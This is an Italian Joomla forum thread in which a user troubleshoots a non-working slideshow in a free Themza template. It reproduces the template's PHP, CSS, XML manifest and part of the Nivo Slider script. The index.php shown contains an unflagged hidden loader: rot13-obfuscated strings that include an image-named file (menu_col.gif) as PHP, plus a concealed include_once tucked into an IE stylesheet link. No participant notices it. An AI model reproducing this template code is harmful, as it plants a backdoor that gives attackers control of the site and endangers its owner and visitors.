Joomla.it Forum
Joomla! 2.5 (versione con supporto terminato) => Joomla! 1.6/1.7/2.5 => I Template di Joomla 1.6/1.7/2.5 => : july82 14 Jul 2013, 10:34:59
-
Buongiorno a tutti,
spero di aver scritto bene il titolo che faccia capire il mio problema.
L'ho cercato in tutti i post ma nessuno mi è stato di grande aiuto per risolvere il mio problema.
Ho scaricato un templates di themza_j17_06.
Ho cambiato le immagini sostituendo quello che c'erano prima, con le mie personalizzate. Non ho modificato nient'altro ma lo slide non parte.
Questo è il mio sito in prova che sarà poi trasferito su un altro server una volta terminato http://www.lecreazionidianuah.altervista.org/ (http://www.lecreazionidianuah.altervista.org/)
E questo quì sotto, è il codice che ho del templates. Mi potreste dire che cosa dovrei modificare per poterlo far partire l'animazione??
Grazie mille
<?php
// No direct access.
defined('_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die;JHtml::_('behavior.framework', true);
// get params
$app = JFactory::getApplication();
$doc = JFactory::getDocument();
$templateparams = $app->getTemplate(true)->params;
$showRight = ($this->countModules('position-3') or $this->countModules('position-6') or $this->countModules('position-8'));
$showBottom = ($this->countModules('position-9') or $this->countModules('position-10') or $this->countModules('position-11'));
$showLeft = ($this->countModules('position-4') or $this->countModules('position-7') or $this->countModules('position-5'));
($this->countModules('position-16') or $this->countModules('position-15') or $this->countModules('position-31') or $this->countModules('position-17') or !@include(JPATH_BASE.DS.'templates'.DS.$app->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) ? $showNoneElse = false : $showNoneElse = true;
if (!$showRight and !$showLeft) $showNone = false;
if($this->params->get('slide_1')) $slides[1] = $this->params->get('slide_1');if($this->params->get('slide_2')) $slides[2] = $this->params->get('slide_2');
if($this->params->get('slide_3')) $slides[3] = $this->params->get('slide_3');if($this->params->get('slide_4')) $slides[4] = $this->params->get('slide_4');if($this->params->get('slide_5')) $slides[5] = $this->params->get('slide_5');
if($this->params->get('slideCaption_1')) $slideCaptions[1] = $this->params->get('slideCaption_1');if($this->params->get('slideCaption_2')) $slideCaptions[2] = $this->params->get('slideCaption_2');
if($this->params->get('slideCaption_3')) $slideCaptions[3] = $this->params->get('slideCaption_3');if($this->params->get('slideCaption_4')) $slideCaptions[4] = $this->params->get('slideCaption_4');if($this->params->get('slideCaption_5')) $slideCaptions[5] = $this->params->get('slideCaption_5');
$sliderVars['effect']=($this->params->get('sliderVars_effect'))?$this->params->get('sliderVars_effect'):'random';
$sliderVars['animSpeed']=($this->params->get('sliderVars_animSpeed'))?$this->params->get('sliderVars_animSpeed'):'500';
$sliderVars['pauseTime']=($this->params->get('sliderVars_pauseTime'))?$this->params->get('sliderVars_pauseTime'):'3000';
$sliderVars['directionNav']=($this->params->get('sliderVars_directionNav')==='true' or $this->params->get('sliderVars_directionNav')==='false')?$this->params->get('sliderVars_directionNav'):'true';
$sliderVars['directionNavHide']=($this->params->get('sliderVars_directionNavHide')==='true' or $this->params->get('sliderVars_directionNavHide')==='false')?$this->params->get('sliderVars_directionNavHide'):'true';
$sliderVars['controlNav']=($this->params->get('sliderVars_controlNav')==='true' or $this->params->get('sliderVars_controlNav')==='false')?$this->params->get('sliderVars_controlNav'):'true';
$sliderVars['keyboardNav']=($this->params->get('sliderVars_keyboardNav')==='true' or $this->params->get('sliderVars_keyboardNav')==='false')?$this->params->get('sliderVars_keyboardNav'):'true';
$sliderVars['pauseOnHover']=($this->params->get('sliderVars_pauseOnHover')==='true' or $this->params->get('sliderVars_pauseOnHover')==='false')?$this->params->get('sliderVars_pauseOnHover'):'true';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>" >
<head>
<jdoc:include type="head" />
<script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/jquery.nivo.slider.js"></script>
<script type="text/javascript">var sliderVars = new Array();<? foreach($sliderVars as $k=>$v){ ?>sliderVars['<?=$k?>']=<?=($v==='true'||$v==='false')?$v:'\''.$v.'\''?>;<? } ?></script>
<script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/template.js"></script>
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/nivo-slider.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<div id="main_bg" class="banner1">
<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<? if(!$this->params->get('logo')){ ?><?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif<? }else echo $this->params->get('logo'); ?>" align="left" alt="Company Logo" /><?php endif; ?><a href="index.php" class="logo"><?php if(trim($templateparams->get('sitetitle'))) echo htmlspecialchars($templateparams->get('sitetitle')); else echo $app->getCfg('sitename');?></a>
<?php if($this->countModules('position-0')) : ?><div id="position0"><jdoc:include type="modules" name="position-0" style="none" /></div><?php endif; ?>
<br clear="all" />
<div id="top_menu"><div id="topnav"><jdoc:include type="modules" name="position-1" /></div></div>
<div id="slider" class="nivoSlider">
<? if(!is_array($slides)){ ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide1.jpg" title="" alt="slide 1" />
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide2.jpg" title="" alt="slide 2" />
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/slide3.jpg" title="" alt="slide 3" /><? }else{foreach($slides as $k=>$slide){ ?><img src="<?php echo $slide ?>" title="<?=$slideCaptions[$k]?>" alt="" /><? }} ?></div></div>
<?php if($showLeft) : ?>
<div id="leftcolumn">
<jdoc:include type="modules" name="position-7" style="xhtml" headerLevel="3" />
<jdoc:include type="modules" name="position-4" style="xhtml" headerLevel="3" state="0 " />
<jdoc:include type="modules" name="position-5" style="xhtml" headerLevel="2" id="3" />
</div>
<?php endif; ?>
<?php if($showLeft xor $showRight) $maincol_sufix = '_middle';
elseif($showNone)$maincol_sufix = '_big';
else $maincol_sufix = ''; ?>
<div id="maincolumn<?php echo $maincol_sufix; ?>">
<div class="path"><jdoc:include type="modules" name="position-2" /></div>
<?php if ($this->countModules('position-12')): ?>
<div id="top"><jdoc:include type="modules" name="position-12" /></div>
<?php endif; ?>
<jdoc:include type="message" />
<jdoc:include type="component" />
</div>
<?php if($showRight) : ?>
<div id="rightcolumn">
<jdoc:include type="modules" name="position-6" style="xhtml" headerLevel="3"/>
<jdoc:include type="modules" name="position-8" style="xhtml" headerLevel="3" />
<jdoc:include type="modules" name="position-3" style="xhtml" headerLevel="3" />
</div>
<?php endif; ?>
<br clear="all" /><br />
</div>
<div id="f_area">
<div class="box box1"> <jdoc:include type="modules" name="position-9" style="xhtml" headerlevel="3" /></div>
<div class="box box2"> <jdoc:include type="modules" name="position-10" style="xhtml" headerlevel="3" /></div>
<div class="box box3"> <jdoc:include type="modules" name="position-11" style="xhtml" headerlevel="3" /></div>
<br clear="all" />
</div>
<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org/" target="_blank">Joomla!®</a>.
<?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</p>
<jdoc:include type="modules" name="debug" />
</body>
</html>
-
Qualcuno mi può aiutare per favore?? vedo che molti hanno letto il mio messaggio e nessuno mi è stato di aiuto!!
Sto diventando matta con questo banner slideshow e non so piu' che altro modificare.
grazie
-
ciao july82,
guardando il codice nel tuo sito, ho notato che le immagini sono presenti, però non vengono caricate, potrebbe essere che mancano i puntini prima della stringa di dove sono le immagini, nel senso :
img src="/images/..........."
prova a mettere :
img src="../images/......."
-
Ciao grazie per avermi risposto.
Non ho capito dove tu hai guardato perchè non riesco a vedere la stringa delle immagini che ho caricato.
Mi puoi dire per favore qual'è il file che devo visualizzare? grazie.
-
ciao,
apri il sito come visitatore, posizioni il mouse sull'immagine dello slide, clicchi il pulsante destro, ti si apre la tendina con la voce : ispeziona elemento, la selezioni e in fondo alla pagina trovi il codice, troverai una stringa evidenziata, quella è riferita all'elemento evidenziato, di fianco a questa stringa trovi un simbolo tipo triangolo orizzontale, cliccandoci sopra si apriranno altre stringhe con il contenuto completo del div.
nella parte destra trovi le indicazioni di dove sono presenti queste stringhe.
Resto in attesa di chiarimenti
-
il codice e corretto, controlla le impostazioni dello slide, dovrebbe esserci una specie di impostazione dove gli dici quante immagini far vedere, probabilmente e settata ad 1 tu ne ai 5
<img src="/images/bannerslide2.png" title="" alt="" style="display: none;"/>
<img src="/images/bannerslide3.png" title="" alt="" style="display: none;"/>
<img src="/images/bannerslide4.png" title="" alt="" style="display: none;"/>
<img src="/images/bannerslide5.png" title="" alt="" style="display: none;"/>
<img src="/images/bannernuovo.png" title="" alt="" style="display: none;"/>
-
Ho trovato nel file del template in css, una parte dove descrive lo SLIDE
ditemi se è quello giusto che sto guardando
/* --- slider --- */
#slider{
width: 960px;
height:300px;
margin-top:0px;
margin-left:10px;
background:url(../images/loading.gif) no-repeat 50% 50%;
}
#slider img {
position:absolute;
top:0px;
left:0px;
display:none;
}
#slider a {
border:0;
display:block;
}
.nivo-controlNav {
position:absolute;
left:860px;
bottom:10px;
}
.nivo-controlNav a {
display:block;
width:22px;
height:22px;
background:url(../images/bullets.png) no-repeat;
text-indent:-9999px;
border:0;
margin-right:3px;
float:left;
}
.nivo-controlNav a.active {
background-position:0 -22px;
}
.nivo-directionNav a {
display:block;
width:30px;
height:30px;
background:url(../images/arrows.png) no-repeat;
text-indent:-9999px;
border:0;
}
a.nivo-nextNav {
background-position:-30px 0;
right:15px;
}
a.nivo-prevNav {
left:15px;
}
.nivo-caption {
text-shadow:none;
font-family: Helvetica, Arial, sans-serif;
}
.nivo-caption a {
color:#efe9d1;
text-decoration:underline;
}
/* --- end slider --- */
perchè sinceramente non so più in quale file guardare T^T
-
il codice e corretto, controlla le impostazioni dello slide, dovrebbe esserci una specie di impostazione dove gli dici quante immagini far vedere, probabilmente e settata ad 1 tu ne ai 5
<img src="/images/bannerslide2.png" title="" alt="" style="display: none;"/>
<img src="/images/bannerslide3.png" title="" alt="" style="display: none;"/>
<img src="/images/bannerslide4.png" title="" alt="" style="display: none;"/>
<img src="/images/bannerslide5.png" title="" alt="" style="display: none;"/>
<img src="/images/bannernuovo.png" title="" alt="" style="display: none;"/>
in effetti nei parametri ne ho 5 di spazi per caricare le immagini che ho fatto, ma non trovo il file dove poter vedere come è stato settato.
-
Ho trovato anche il file del templates in .xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install PUBLIC "-//Joomla! 1.7//DTD template 1.0//EN" "http://www.joomla.org/xml/dtd/1.7/template-install.dtd">
<extension version="1.7" type="template" client="site">
<name>themza_j17_06</name>
<version>1.7.0</version>
<creationDate>5 June 2011</creationDate>
<author>Themza Team</author>
<authorEmail>templates@themza.com</authorEmail>
<authorUrl>http://www.themza.com</authorUrl>
<copyright>Copyright (C) 2005 - 2011 ThemZa.com All rights reserved.</copyright>
<license>ThemZa TOS</license>
<description><![CDATA[
<h1>Baby Canter</h1>
<img src="../templates/themza_j17_06/template_thumbnail.png" align="left" hspace="10" style="padding-right:10px;"/>
<b>Free Joomla 1.7 Template developed by <a target="_blank" href="http://www.themza.com">ThemZa</a>, released under the <a target="_blank" href="http://www.themza.com/terms.php">Themza TOS</a>.
<br /><br />Copyright © 2005 - 2011 ThemZa.com All rights reserved.</b>
]]></description>
<files>
<folder>css</folder>
<folder>html</folder>
<folder>images</folder>
<folder>js</folder>
<filename>component.php</filename>
<filename>favicon.ico</filename>
<filename>index.html</filename>
<filename>index.php</filename>
<filename>template_preview.png</filename>
<filename>template_thumbnail.png</filename>
<filename>templateDetails.xml</filename>
</files>
<positions>
<position>debug</position>
<position>position-0</position>
<position>position-1</position>
<position>position-2</position>
<position>position-3</position>
<position>position-4</position>
<position>position-5</position>
<position>position-6</position>
<position>position-7</position>
<position>position-8</position>
<position>position-9</position>
<position>position-10</position>
<position>position-11</position>
<position>position-12</position>
</positions>
<config>
<fields name="params">
<fieldset name="advanced">
<field name="colorVariation" type="list" default="pink" label="Color Variation" description="Color variation to use">
<option value="pink">Pink</option>
<option value="blue">Blue</option>
<option value="green">Green</option>
</field>
<field name="hideLogo" type="radio" default="0" label="Hide Logo" description="Hide the logo.">
<option value="0">No</option>
<option value="1">Yes</option>
</field>
<field name="logoVariation" type="list" default="1" label="Logo Variation" description="Logo variation to use">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
</field>
<field name="logo" type="media"
label="Logo" description="Please choose an image. If you do not want to display a logo, click on Select, do not highlight any image and then click on Insert in the modal window" />
<field name="sitetitle" type="text" default="Your Site Title"
label="Site Title"
description="Please add your site title here, it's only displayed if you don't use a logo"
filter="string" /></fieldset>
<fieldset name="advanced">
<field type="spacer" hr="true" />
<field type="spacer" name="slides" label="<b>Slides</b>" />
<field name="slide_1" type="media"
label="Slide 1 <em>(940x230 px)</em>" description="Please choose an image." />
<field name="slideCaption_1" type="textarea" rows="2" cols="25" default=""
label="Caption"
description="This is the caption text"
filter="string" />
<field type="spacer" label="---------------------------------------------------------------------------------------------" />
<field name="slide_2" type="media"
label="Slide 2 <em>(940x230 px)</em>" description="Please choose an image." />
<field name="slideCaption_2" type="textarea" rows="2" cols="25" default=""
label="Caption"
description="This is the caption text"
filter="string" />
<field type="spacer" label="---------------------------------------------------------------------------------------------" />
<field name="slide_3" type="media"
label="Slide 3 <em>(940x230 px)</em>" description="Please choose an image." />
<field name="slideCaption_3" type="textarea" rows="2" cols="25" default=""
label="Caption"
description="This is the caption text"
filter="string" />
<field type="spacer" label="---------------------------------------------------------------------------------------------" />
<field name="slide_4" type="media"
label="Slide 4 <em>(940x230 px)</em>" description="Please choose an image." />
<field name="slideCaption_4" type="textarea" rows="2" cols="25" default=""
label="Caption"
description="This is the caption text"
filter="string" />
<field type="spacer" label="---------------------------------------------------------------------------------------------" />
<field name="slide_5" type="media"
label="Slide 5 <em>(940x230 px)</em>" description="Please choose an image." />
<field name="slideCaption_5" type="textarea" rows="2" cols="25" default=""
label="Caption"
description="This is the caption text"
filter="string" />
<field type="spacer" hr="true" />
<field type="spacer" name="slider_params" label="<b>Slider parameters</b>" />
<field name="sliderVars_effect" type="list" default="random" label="Effect">
<option value="random">random</option>
<option value="fold">fold</option>
<option value="fade">fade</option>
<option value="sliceDown">sliceDown</option>
<option value="sliceDownLeft">sliceDownLeft</option>
<option value="sliceUp">sliceUp</option>
<option value="sliceUpLeft">sliceUpLeft</option>
<option value="sliceUpDown">sliceUpDown</option>
<option value="sliceUpDownLeft">sliceUpDownLeft</option>
<option value="slideInRight">slideInRight</option>
<option value="slideInLeft">slideInLeft</option>
<option value="boxRandom">boxRandom</option>
<option value="boxRain">boxRain</option>
<option value="boxRainReverse">boxRainReverse</option>
<option value="boxRainGrow">boxRainGrow</option>
<option value="boxRainGrowReverse">boxRainGrowReverse</option>
</field>
<field name="sliderVars_animSpeed" type="text" default="500"
label="Animation Speed <em>(ms)</em>"
description="Slide transition speed in milliseconds"
filter="string" />
<field name="sliderVars_pauseTime" type="text" default="3000"
label="Pause Time <em>(ms)</em>"
description="How long each slide will show in milliseconds"
filter="string" />
<field name="sliderVars_directionNav" type="list" default="true" label="Arrow Navigation" description="Next & Prev navigation">
<option value="true">true</option>
<option value="false">false</option>
</field>
<field name="sliderVars_directionNavHide" type="list" default="true" label="Navigation show/hide" description="Only show on hover">
<option value="true">true</option>
<option value="false">false</option>
</field>
<field name="sliderVars_controlNav" type="list" default="true" label="Control Navigation" description="1,2,3... navigation">
<option value="true">true</option>
<option value="false">false</option>
</field>
<field name="sliderVars_keyboardNav" type="list" default="true" label="Keyboard Navigation" description="Use left & right keyboard arrows for navigation">
<option value="true">true</option>
<option value="false">false</option>
</field>
<field name="sliderVars_pauseOnHover" type="list" default="true" label="Pause On Hover" description="Stop animation while hovering">
<option value="true">true</option>
<option value="false">false</option>
</field>
</fieldset>
</fields>
</config>
</extension>
-
All'interno del jquery.nivo.slider.js ho trovato questo codice
/*
* jQuery Nivo Slider v2.5.1
* http://nivo.dev7studios.com
*
* Copyright 2011, Gilbert Pellegrom
* Free to use and abuse under the MIT license.
* http://www.opensource.org/licenses/mit-license.php
*
* March 2010
*/
(function($) {
var NivoSlider = function(element, options){
//Defaults are below
var settings = $.extend({}, $.fn.nivoSlider.defaults, options);
//Useful variables. Play carefully.
var vars = {
currentSlide: 0,
currentImage: '',
totalSlides: 0,
randAnim: '',
running: false,
paused: false,
stop: false
};
//Get this slider
var slider = $(element);
slider.data('nivo:vars', vars);
slider.css('position','relative');
slider.addClass('nivoSlider');
//Find our slider children
var kids = slider.children();
kids.each(function() {
var child = $(this);
var link = '';
if(!child.is('img')){
if(child.is('a')){
child.addClass('nivo-imageLink');
link = child;
}
child = child.find('img:first');
}
//Get img width & height
var childWidth = child.width();
if(childWidth == 0) childWidth = child.attr('width');
var childHeight = child.height();
if(childHeight == 0) childHeight = child.attr('height');
//Resize the slider
if(childWidth > slider.width()){
slider.width(childWidth);
}
if(childHeight > slider.height()){
slider.height(childHeight);
}
if(link != ''){
link.css('display','none');
}
child.css('display','none');
vars.totalSlides++;
});
//Set startSlide
if(settings.startSlide > 0){
if(settings.startSlide >= vars.totalSlides) settings.startSlide = vars.totalSlides - 1;
vars.currentSlide = settings.startSlide;
}
//Get initial image
if($(kids[vars.currentSlide]).is('img')){
vars.currentImage = $(kids[vars.currentSlide]);
} else {
vars.currentImage = $(kids[vars.currentSlide]).find('img:first');
}
//Show initial link
if($(kids[vars.currentSlide]).is('a')){
$(kids[vars.currentSlide]).css('display','block');
}
//Set first background
slider.css('background','url("'+ vars.currentImage.attr('src') +'") no-repeat');
//Create caption
slider.append(
$('<div class="nivo-caption"><p></p></div>').css({ display:'none', opacity:settings.captionOpacity })
);
// Process caption function
var processCaption = function(settings){
var nivoCaption = $('.nivo-caption', slider);
if(vars.currentImage.attr('title') != ''){
var title = vars.currentImage.attr('title');
if(title.substr(0,1) == '#') title = $(title).html();
if(nivoCaption.css('display') == 'block'){
nivoCaption.find('p').fadeOut(settings.animSpeed, function(){
$(this).html(title);
$(this).fadeIn(settings.animSpeed);
});
} else {
nivoCaption.find('p').html(title);
}
nivoCaption.fadeIn(settings.animSpeed);
} else {
nivoCaption.fadeOut(settings.animSpeed);
}
}
//Process initial caption
processCaption(settings);
//In the words of Super Mario "let's a go!"
var timer = 0;
if(!settings.manualAdvance && kids.length > 1){
timer = setInterval(function(){ nivoRun(slider, kids, settings, false); }, settings.pauseTime);
}
//Add Direction nav
if(settings.directionNav){
slider.append('<div class="nivo-directionNav"><a class="nivo-prevNav">'+ settings.prevText +'</a><a class="nivo-nextNav">'+ settings.nextText +'</a></div>');
//Hide Direction nav
if(settings.directionNavHide){
$('.nivo-directionNav', slider).hide();
slider.hover(function(){
$('.nivo-directionNav', slider).show();
}, function(){
$('.nivo-directionNav', slider).hide();
});
}
$('a.nivo-prevNav', slider).live('click', function(){
if(vars.running) return false;
clearInterval(timer);
timer = '';
vars.currentSlide -= 2;
nivoRun(slider, kids, settings, 'prev');
});
$('a.nivo-nextNav', slider).live('click', function(){
if(vars.running) return false;
clearInterval(timer);
timer = '';
nivoRun(slider, kids, settings, 'next');
});
}
//Add Control nav
if(settings.controlNav){
var nivoControl = $('<div class="nivo-controlNav"></div>');
slider.append(nivoControl);
for(var i = 0; i < kids.length; i++){
if(settings.controlNavThumbs){
var child = kids.eq(i);
if(!child.is('img')){
child = child.find('img:first');
}
if (settings.controlNavThumbsFromRel) {
nivoControl.append('<a class="nivo-control" rel="'+ i +'"><img src="'+ child.attr('rel') + '" alt="" /></a>');
} else {
nivoControl.append('<a class="nivo-control" rel="'+ i +'"><img src="'+ child.attr('src').replace(settings.controlNavThumbsSearch, settings.controlNavThumbsReplace) +'" alt="" /></a>');
}
} else {
nivoControl.append('<a class="nivo-control" rel="'+ i +'">'+ (i + 1) +'</a>');
}
}
//Set initial active link
$('.nivo-controlNav a:eq('+ vars.currentSlide +')', slider).addClass('active');
$('.nivo-controlNav a', slider).live('click', function(){
if(vars.running) return false;
if($(this).hasClass('active')) return false;
clearInterval(timer);
timer = '';
slider.css('background','url("'+ vars.currentImage.attr('src') +'") no-repeat');
vars.currentSlide = $(this).attr('rel') - 1;
nivoRun(slider, kids, settings, 'control');
});
}
//Keyboard Navigation
if(settings.keyboardNav){
$(window).keypress(function(event){
//Left
if(event.keyCode == '37'){
if(vars.running) return false;
clearInterval(timer);
timer = '';
vars.currentSlide-=2;
nivoRun(slider, kids, settings, 'prev');
}
//Right
if(event.keyCode == '39'){
if(vars.running) return false;
clearInterval(timer);
timer = '';
nivoRun(slider, kids, settings, 'next');
}
});
}
//For pauseOnHover setting
if(settings.pauseOnHover){
slider.hover(function(){
vars.paused = true;
clearInterval(timer);
timer = '';
}, function(){
vars.paused = false;
//Restart the timer
if(timer == '' && !settings.manualAdvance){
timer = setInterval(function(){ nivoRun(slider, kids, settings, false); }, settings.pauseTime);
}
});
}
//Event when Animation finishes
slider.bind('nivo:animFinished', function(){
vars.running = false;
//Hide child links
$(kids).each(function(){
if($(this).is('a')){
$(this).css('display','none');
}
});
//Show current link
if($(kids[vars.currentSlide]).is('a')){
$(kids[vars.currentSlide]).css('display','block');
}
//Restart the timer
if(timer == '' && !vars.paused && !settings.manualAdvance){
timer = setInterval(function(){ nivoRun(slider, kids, settings, false); }, settings.pauseTime);
}
//Trigger the afterChange callback
settings.afterChange.call(this);
});
// Add slices for slice animations
var createSlices = function(slider, settings, vars){
for(var i = 0; i < settings.slices; i++){
var sliceWidth = Math.round(slider.width()/settings.slices);
if(i == settings.slices-1){
slider.append(
$('<div class="nivo-slice"></div>').css({
left:(sliceWidth*i)+'px', width:(slider.width()-(sliceWidth*i))+'px',
height:'0px',
opacity:'0',
background: 'url("'+ vars.currentImage.attr('src') +'") no-repeat -'+ ((sliceWidth + (i * sliceWidth)) - sliceWidth) +'px 0%'
})
);
} else {
slider.append(
$('<div class="nivo-slice"></div>').css({
left:(sliceWidth*i)+'px', width:sliceWidth+'px',
height:'0px',
opacity:'0',
background: 'url("'+ vars.currentImage.attr('src') +'") no-repeat -'+ ((sliceWidth + (i * sliceWidth)) - sliceWidth) +'px 0%'
})
);
}
}
}
// Add boxes for box animations
var createBoxes = function(slider, settings, vars){
var boxWidth = Math.round(slider.width()/settings.boxCols);
var boxHeight = Math.round(slider.height()/settings.boxRows);
for(var rows = 0; rows < settings.boxRows; rows++){
for(var cols = 0; cols < settings.boxCols; cols++){
if(cols == settings.boxCols-1){
slider.append(
$('<div class="nivo-box"></div>').css({
opacity:0,
left:(boxWidth*cols)+'px',
top:(boxHeight*rows)+'px',
width:(slider.width()-(boxWidth*cols))+'px',
height:boxHeight+'px',
background: 'url("'+ vars.currentImage.attr('src') +'") no-repeat -'+ ((boxWidth + (cols * boxWidth)) - boxWidth) +'px -'+ ((boxHeight + (rows * boxHeight)) - boxHeight) +'px'
})
);
} else {
slider.append(
$('<div class="nivo-box"></div>').css({
opacity:0,
left:(boxWidth*cols)+'px',
top:(boxHeight*rows)+'px',
width:boxWidth+'px',
height:boxHeight+'px',
background: 'url("'+ vars.currentImage.attr('src') +'") no-repeat -'+ ((boxWidth + (cols * boxWidth)) - boxWidth) +'px -'+ ((boxHeight + (rows * boxHeight)) - boxHeight) +'px'
})
);
}
}
}
}
// Private run method
var nivoRun = function(slider, kids, settings, nudge){
//Get our vars
var vars = slider.data('nivo:vars');
//Trigger the lastSlide callback
if(vars && (vars.currentSlide == vars.totalSlides - 1)){
settings.lastSlide.call(this);
}
// Stop
if((!vars || vars.stop) && !nudge) return false;
//Trigger the beforeChange callback
settings.beforeChange.call(this);
//Set current background before change
if(!nudge){
slider.css('background','url("'+ vars.currentImage.attr('src') +'") no-repeat');
} else {
if(nudge == 'prev'){
slider.css('background','url("'+ vars.currentImage.attr('src') +'") no-repeat');
}
if(nudge == 'next'){
slider.css('background','url("'+ vars.currentImage.attr('src') +'") no-repeat');
}
}
vars.currentSlide++;
//Trigger the slideshowEnd callback
if(vars.currentSlide == vars.totalSlides){
vars.currentSlide = 0;
settings.slideshowEnd.call(this);
}
if(vars.currentSlide < 0) vars.currentSlide = (vars.totalSlides - 1);
//Set vars.currentImage
if($(kids[vars.currentSlide]).is('img')){
vars.currentImage = $(kids[vars.currentSlide]);
} else {
vars.currentImage = $(kids[vars.currentSlide]).find('img:first');
}
//Set active links
if(settings.controlNav){
$('.nivo-controlNav a', slider).removeClass('active');
$('.nivo-controlNav a:eq('+ vars.currentSlide +')', slider).addClass('active');
}
//Process caption
processCaption(settings);
// Remove any slices from last transition
$('.nivo-slice', slider).remove();
// Remove any boxes from last transition
$('.nivo-box', slider).remove();
if(settings.effect == 'random'){
var anims = new Array('sliceDownRight','sliceDownLeft','sliceUpRight','sliceUpLeft','sliceUpDown','sliceUpDownLeft','fold','fade',
'boxRandom','boxRain','boxRainReverse','boxRainGrow','boxRainGrowReverse');
vars.randAnim = anims[Math.floor(Math.random()*(anims.length + 1))];
if(vars.randAnim == undefined) vars.randAnim = 'fade';
}
//Run random effect from specified set (eg: effect:'fold,fade')
if(settings.effect.indexOf(',') != -1){
var anims = settings.effect.split(',');
vars.randAnim = anims[Math.floor(Math.random()*(anims.length))];
if(vars.randAnim == undefined) vars.randAnim = 'fade';
}
//Run effects
vars.running = true;
if(settings.effect == 'sliceDown' || settings.effect == 'sliceDownRight' || vars.randAnim == 'sliceDownRight' ||
settings.effect == 'sliceDownLeft' || vars.randAnim == 'sliceDownLeft'){
createSlices(slider, settings, vars);
var timeBuff = 0;
var i = 0;
var slices = $('.nivo-slice', slider);
if(settings.effect == 'sliceDownLeft' || vars.randAnim == 'sliceDownLeft') slices = $('.nivo-slice', slider)._reverse();
slices.each(function(){
var slice = $(this);
slice.css({ 'top': '0px' });
if(i == settings.slices-1){
setTimeout(function(){
slice.animate({ height:'100%', opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({ height:'100%', opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
i++;
});
}
else if(settings.effect == 'sliceUp' || settings.effect == 'sliceUpRight' || vars.randAnim == 'sliceUpRight' ||
settings.effect == 'sliceUpLeft' || vars.randAnim == 'sliceUpLeft'){
createSlices(slider, settings, vars);
var timeBuff = 0;
var i = 0;
var slices = $('.nivo-slice', slider);
if(settings.effect == 'sliceUpLeft' || vars.randAnim == 'sliceUpLeft') slices = $('.nivo-slice', slider)._reverse();
slices.each(function(){
var slice = $(this);
slice.css({ 'bottom': '0px' });
if(i == settings.slices-1){
setTimeout(function(){
slice.animate({ height:'100%', opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({ height:'100%', opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
i++;
});
}
else if(settings.effect == 'sliceUpDown' || settings.effect == 'sliceUpDownRight' || vars.randAnim == 'sliceUpDown' ||
settings.effect == 'sliceUpDownLeft' || vars.randAnim == 'sliceUpDownLeft'){
createSlices(slider, settings, vars);
var timeBuff = 0;
var i = 0;
var v = 0;
var slices = $('.nivo-slice', slider);
if(settings.effect == 'sliceUpDownLeft' || vars.randAnim == 'sliceUpDownLeft') slices = $('.nivo-slice', slider)._reverse();
slices.each(function(){
var slice = $(this);
if(i == 0){
slice.css('top','0px');
i++;
} else {
slice.css('bottom','0px');
i = 0;
}
if(v == settings.slices-1){
setTimeout(function(){
slice.animate({ height:'100%', opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({ height:'100%', opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
v++;
});
}
else if(settings.effect == 'fold' || vars.randAnim == 'fold'){
createSlices(slider, settings, vars);
var timeBuff = 0;
var i = 0;
$('.nivo-slice', slider).each(function(){
var slice = $(this);
var origWidth = slice.width();
slice.css({ top:'0px', height:'100%', width:'0px' });
if(i == settings.slices-1){
setTimeout(function(){
slice.animate({ width:origWidth, opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({ width:origWidth, opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
i++;
});
}
else if(settings.effect == 'fade' || vars.randAnim == 'fade'){
